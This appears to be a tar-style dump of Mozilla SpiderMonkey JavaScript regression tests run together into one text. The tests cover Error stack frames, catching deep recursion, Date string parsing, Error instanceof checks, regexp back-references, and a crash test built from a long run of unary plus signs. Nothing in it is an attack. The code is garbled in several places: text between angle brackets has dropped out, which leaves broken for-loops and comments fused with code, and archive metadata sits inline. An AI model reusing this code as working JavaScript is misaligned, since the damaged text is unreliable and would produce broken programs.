'Hi there!'; var fileName = 'file name'; var lineNumber = 0; myErr = Error(message, fileName, lineNumber); stackFrames = getStackFrames(myErr); status = inSection(17); actual = stackFrames[0].substring(0,1); expect = '@'; addThis(); /* * Now use the |new| keyword. Re-use the same params - */ myErr = new Error(message, fileName, lineNumber); stackFrames = getStackFrames(myErr); status = inSection(18); actual = stackFrames[0].substring(0,1); expect = '@'; addThis(); //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- /* * Split the string |err.stack| along its '\n' delimiter. * As of 2002-02-28 |err.stack| ends with the delimiter, so * the resulting array has an empty string as its last element. * * Pop that useless element off before doing anything. * Then reverse the array, for convenience of indexing - */ function getStackFrames(err) { var arr = err.stack.split('\n'); arr.pop(); return arr.reverse(); } function addThis() { statusitems[UBound] = status; actualvalues[UBound] = actual; expectedvalues[UBound] = expect; UBound++; } function test() { enterFunc('test'); printBugNumber(BUGNUMBER); printStatus(summary); for (var i=0; i0. The bug was filed because we * were getting i===0; i.e. |i| did not retain the value it had at the * location of the error. * */ //----------------------------------------------------------------------------- var UBound = 0; var BUGNUMBER = 121658; var msg = '"Too much recursion" errors should be safely caught by try...catch'; var TEST_PASSED = 'i retained the value it had at location of error'; var TEST_FAILED = 'i did NOT retain this value'; var status = ''; var statusitems = []; var actual = ''; var actualvalues = []; var expect= ''; var expectedvalues = []; var i; function f() { ++i; // try...catch should catch the "too much recursion" error to ensue try { f(); } catch(e) { } } i=0; f(); status = inSection(1); actual = (i>0); expect = true; addThis(); // Now try in function scope - function g() { f(); } i=0; g(); status = inSection(2); actual = (i>0); expect = true; addThis(); // Now try in eval scope - var sEval = 'function h(){++i; try{h();} catch(e){}}; i=0; h();'; eval(sEval); status = inSection(3); actual = (i>0); expect = true; addThis(); // Try in eval scope and mix functions up - sEval = 'function a(){++i; try{h();} catch(e){}}; i=0; a();'; eval(sEval); status = inSection(4); actual = (i>0); expect = true; addThis(); //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function addThis() { statusitems[UBound] = status; actualvalues[UBound] = formatThis(actual); expectedvalues[UBound] = formatThis(expect); UBound++; } function formatThis(bool) { return bool? TEST_PASSED : TEST_FAILED; } function test() { enterFunc('test'); printBugNumber(BUGNUMBER); printStatus(msg); for (var i=0; i= 0; reportCompare(expect, actual, summary + ': new Date(208e10)'); dt = new Date(209e10); printStatus(dt+''); expect = true; actual = dt.toLocaleString().indexOf('2036') >= 0; reportCompare(expect, actual, summary + ': new Date(209e10)'); mozjs17.0.0/js/src/tests/js1_5/Date/regress-309925-01.js0000664000175000017500000000120112106270663021735 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 309925; var summary = 'Correctly parse Date strings with HH:MM'; var actual = new Date('Sep 24, 11:58 105') + ''; var expect = new Date('Sep 24, 11:58:00 105') + ''; printBugNumber(BUGNUMBER); printStatus (summary); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Date/regress-346363.js0000664000175000017500000000161212106270663021522 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 346363; var summary = 'Date.prototype.setFullYear()'; var actual = ''; var expect = true; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var d = new Date(); d.setFullYear(); d.setFullYear(2006); actual = d.getFullYear() == 2006; reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/Date/regress-309925-02.js0000664000175000017500000000123512106270663021745 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 309925; var summary = 'Correctly parse Date strings with HH:MM(comment)'; var actual = new Date('Sep 24, 11:58(comment) 105') + ''; var expect = new Date('Sep 24, 11:58:00 (comment) 105') + ''; printBugNumber(BUGNUMBER); printStatus (summary); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Date/browser.js0000664000175000017500000000000012106270663020753 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_5/Date/regress-301738-01.js0000664000175000017500000000554112106270663021742 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 301738; var summary = 'Date parse compatibilty with MSIE'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); /* Case 1. The input string contains an English month name. The form of the string can be month f l, or f month l, or f l month which each evaluate to the same date. If f and l are both greater than or equal to 70, or both less than 70, the date is invalid. The year is taken to be the greater of the values f, l. If the year is greater than or equal to 70 and less than 100, it is considered to be the number of years after 1900. */ var month = 'January'; var f; var l; f = l = 0; expect = true; actual = isNaN(new Date(month + ' ' + f + ' ' + l)); reportCompare(expect, actual, 'January 0 0 is invalid'); actual = isNaN(new Date(f + ' ' + l + ' ' + month)); reportCompare(expect, actual, '0 0 January is invalid'); actual = isNaN(new Date(f + ' ' + month + ' ' + l)); reportCompare(expect, actual, '0 January 0 is invalid'); f = l = 70; actual = isNaN(new Date(month + ' ' + f + ' ' + l)); reportCompare(expect, actual, 'January 70 70 is invalid'); actual = isNaN(new Date(f + ' ' + l + ' ' + month)); reportCompare(expect, actual, '70 70 January is invalid'); actual = isNaN(new Date(f + ' ' + month + ' ' + l)); reportCompare(expect, actual, '70 January 70 is invalid'); f = 100; l = 15; // year, month, day expect = new Date(f, 0, l).toString(); actual = new Date(month + ' ' + f + ' ' + l).toString(); reportCompare(expect, actual, 'month f l'); actual = new Date(f + ' ' + l + ' ' + month).toString(); reportCompare(expect, actual, 'f l month'); actual = new Date(f + ' ' + month + ' ' + l).toString(); reportCompare(expect, actual, 'f month l'); f = 80; l = 15; // year, month, day expect = (new Date(f, 0, l)).toString(); actual = (new Date(month + ' ' + f + ' ' + l)).toString(); reportCompare(expect, actual, 'month f l'); actual = (new Date(f + ' ' + l + ' ' + month)).toString(); reportCompare(expect, actual, 'f l month'); actual = (new Date(f + ' ' + month + ' ' + l)).toString(); reportCompare(expect, actual, 'f month l'); f = 2040; l = 15; // year, month, day expect = (new Date(f, 0, l)).toString(); actual = (new Date(month + ' ' + f + ' ' + l)).toString(); reportCompare(expect, actual, 'month f l'); actual = (new Date(f + ' ' + l + ' ' + month)).toString(); reportCompare(expect, actual, 'f l month'); actual = (new Date(f + ' ' + month + ' ' + l)).toString(); reportCompare(expect, actual, 'f month l'); mozjs17.0.0/js/src/tests/js1_5/Date/regress-301738-02.js0000664000175000017500000000552612106270663021746 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 301738; var summary = 'Date parse compatibilty with MSIE'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); /* Case 2. The input string is of the form "f/m/l" where f, m and l are integers, e.g. 7/16/45. Adjust the mon, mday and year values to achieve 100% MSIE compatibility. a. If 0 <= f < 70, f/m/l is interpreted as month/day/year. i. If year < 100, it is the number of years after 1900 ii. If year >= 100, it is the number of years after 0. b. If 70 <= f < 100 i. If m < 70, f/m/l is interpreted as year/month/day where year is the number of years after 1900. ii. If m >= 70, the date is invalid. c. If f >= 100 i. If m < 70, f/m/l is interpreted as year/month/day where year is the number of years after 0. ii. If m >= 70, the date is invalid. */ var f; var m; var l; function newDate(f, m, l) { return new Date(f + '/' + m + '/' + l); } function newDesc(f, m, l) { return f + '/' + m + '/' + l; } // 2.a.i f = 0; m = 0; l = 0; expect = (new Date(l, f-1, m)).toDateString(); actual = newDate(f, m, l).toDateString(); reportCompare(expect, actual, newDesc(f, m, l)); f = 0; m = 0; l = 100; expect = (new Date(l, f-1, m)).toDateString(); actual = newDate(f, m, l).toDateString(); reportCompare(expect, actual, newDesc(f, m, l)); // 2.a.ii f = 0; m = 24; l = 100; expect = (new Date(l, f-1, m)).toDateString(); actual = newDate(f, m, l).toDateString(); reportCompare(expect, actual, newDesc(f, m, l)); f = 0; m = 24; l = 2100; expect = (new Date(l, f-1, m)).toDateString(); actual = newDate(f, m, l).toDateString(); reportCompare(expect, actual, newDesc(f, m, l)); // 2.b.i f = 70; m = 24; l = 100; expect = (new Date(f, m-1, l)).toDateString(); actual = newDate(f, m, l).toDateString(); reportCompare(expect, actual, newDesc(f, m, l)); f = 99; m = 12; l = 1; expect = (new Date(f, m-1, l)).toDateString(); actual = newDate(f, m, l).toDateString(); reportCompare(expect, actual, newDesc(f, m, l)); // 2.b.ii. f = 99; m = 70; l = 1; expect = true; actual = isNaN(newDate(f, m, l)); reportCompare(expect, actual, newDesc(f, m, l) + ' is an invalid date'); // 2.c.i f = 100; m = 12; l = 1; expect = (new Date(f, m-1, l)).toDateString(); actual = newDate(f, m, l).toDateString(); reportCompare(expect, actual, newDesc(f, m, l)); // 2.c.ii f = 100; m = 70; l = 1; expect = true; actual = isNaN(newDate(f, m, l)); reportCompare(expect, actual, newDesc(f, m, l) + ' is an invalid date'); mozjs17.0.0/js/src/tests/js1_5/README0000664000175000017500000000001712106270663016745 0ustar sstanglsstanglJavaScript 1.5 mozjs17.0.0/js/src/tests/js1_5/Error/0000775000175000017500000000000012106270663017160 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_5/Error/regress-412324.js0000664000175000017500000000115012106270663021722 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 412324; var summary = 'Allow function Error(){} for the love of Pete'; var actual = 'No Error'; var expect = 'No Error'; printBugNumber(BUGNUMBER); printStatus (summary); function Error() {} reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Error/regress-354246.js0000664000175000017500000000170312106270663021736 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 354246; var summary = 'calling Error constructor with object with bad toString'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = '13'; actual += '1'; try { new Error({toString: function() { x.y } }); } catch(e) { } actual += '3'; reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/Error/shell.js0000664000175000017500000000000012106270663020613 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_5/Error/browser.js0000664000175000017500000000000012106270663021167 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_5/Error/regress-465377.js0000664000175000017500000000452612106270663021754 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465377; var summary = 'instanceof relations between Error objects'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = actual = 'No Exception'; try { var list = [ "Error", "InternalError", "EvalError", "RangeError", "ReferenceError", "SyntaxError", "TypeError", "URIError" ]; var instances = []; for (var i = 0; i != list.length; ++i) { var name = list[i]; var constructor = this[name]; var tmp = constructor.name; if (tmp !== name) throw "Bad value for "+name+".name: "+uneval(tmp); instances[i] = new constructor(); } for (var i = 0; i != instances.length; ++i) { var instance = instances[i]; var name = instance.name; var constructor = instance.constructor; if (constructor !== this[name]) throw "Bad value of (new "+name+").constructor: "+uneval(tmp); var tmp = constructor.name; if (tmp !== name) throw "Bad value for constructor.name: "+uneval(tmp); if (!(instance instanceof Object)) throw "Bad instanceof Object for "+name; if (!(instance instanceof Error)) throw "Bad instanceof Error for "+name; if (!(instance instanceof constructor)) throw "Bad instanceof constructor for "+name; if (instance instanceof Function) throw "Bad instanceof Function for "+name; for (var j = 1; j != instances.length; ++j) { if (i != j && instance instanceof instances[j].constructor) { throw "Unexpected (new "+name+") instanceof "+ instances[j].name; } } } print("OK"); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/shell.js0000664000175000017500000000000012106270663017522 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_5/Regress/0000775000175000017500000000000012106270663017501 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_5/Regress/regress-230216-3.js0000664000175000017500000000222112106270663022401 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 230216; var summary = 'check for numerical overflow in regexps in back reference and bounds for {} quantifier'; var actual = ''; var expect = ''; var status = ''; printBugNumber(BUGNUMBER); printStatus (summary); status = inSection(1) + ' /((\3|b)\2(a)x)+/.exec("aaxabxbaxbbx") '; actual = 'undefined'; expect = ['ax', 'ax', '', 'a'] + ''; try { actual = /((\3|b)\2(a)x)+/.exec("aaxabxbaxbbx") + ''; } catch(e) { status += ' Error: ' + e; } reportCompare(expect, actual, status); status = inSection(2) + ' eval(\'/((\3|b)\2(a)x)+/.exec("aaxabxbaxbbx")\' '; actual = 'undefined'; expect = ['ax', 'ax', '', 'a'] + ''; try { actual = eval('/((\\3|b)\\2(a)x)+/.exec("aaxabxbaxbbx")') + ''; } catch(e) { status += ' Error: ' + e; } reportCompare(expect, actual, status); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-276103.js0000664000175000017500000000147612106270663022261 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- // testcase by Gianugo Rabellino var BUGNUMBER = 276103; var summary = 'link foo and null bytes'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); var testString = "test|string"; var idx = testString.indexOf("|"); var link = testString.substring(0, idx); var desc = testString.substring(idx + 1); expect = 'string'; actual = desc.link(link); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-311629.js0000664000175000017500000035345212106270663022270 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 311629; var summary = 'Prevent recursive death in UnaryExp'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); try { eval('+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 